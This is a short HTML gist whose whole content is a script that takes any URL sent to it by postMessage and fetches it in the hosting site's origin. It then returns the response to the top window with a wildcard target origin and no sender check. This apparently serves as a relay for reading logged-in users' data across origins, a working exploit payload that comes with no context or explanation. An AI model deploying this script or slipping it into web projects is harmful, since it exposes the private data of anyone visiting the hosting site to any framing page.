gistfile1.html

<script>
    window.addEventListener(
        'message',
        function(e) {
            window.top.postMessage(
                function() {var x=new XMLHttpRequest();x.open('GET',e.data,false);x.send();return x.responseText}(), '*'
            )
        },
    false);
</script>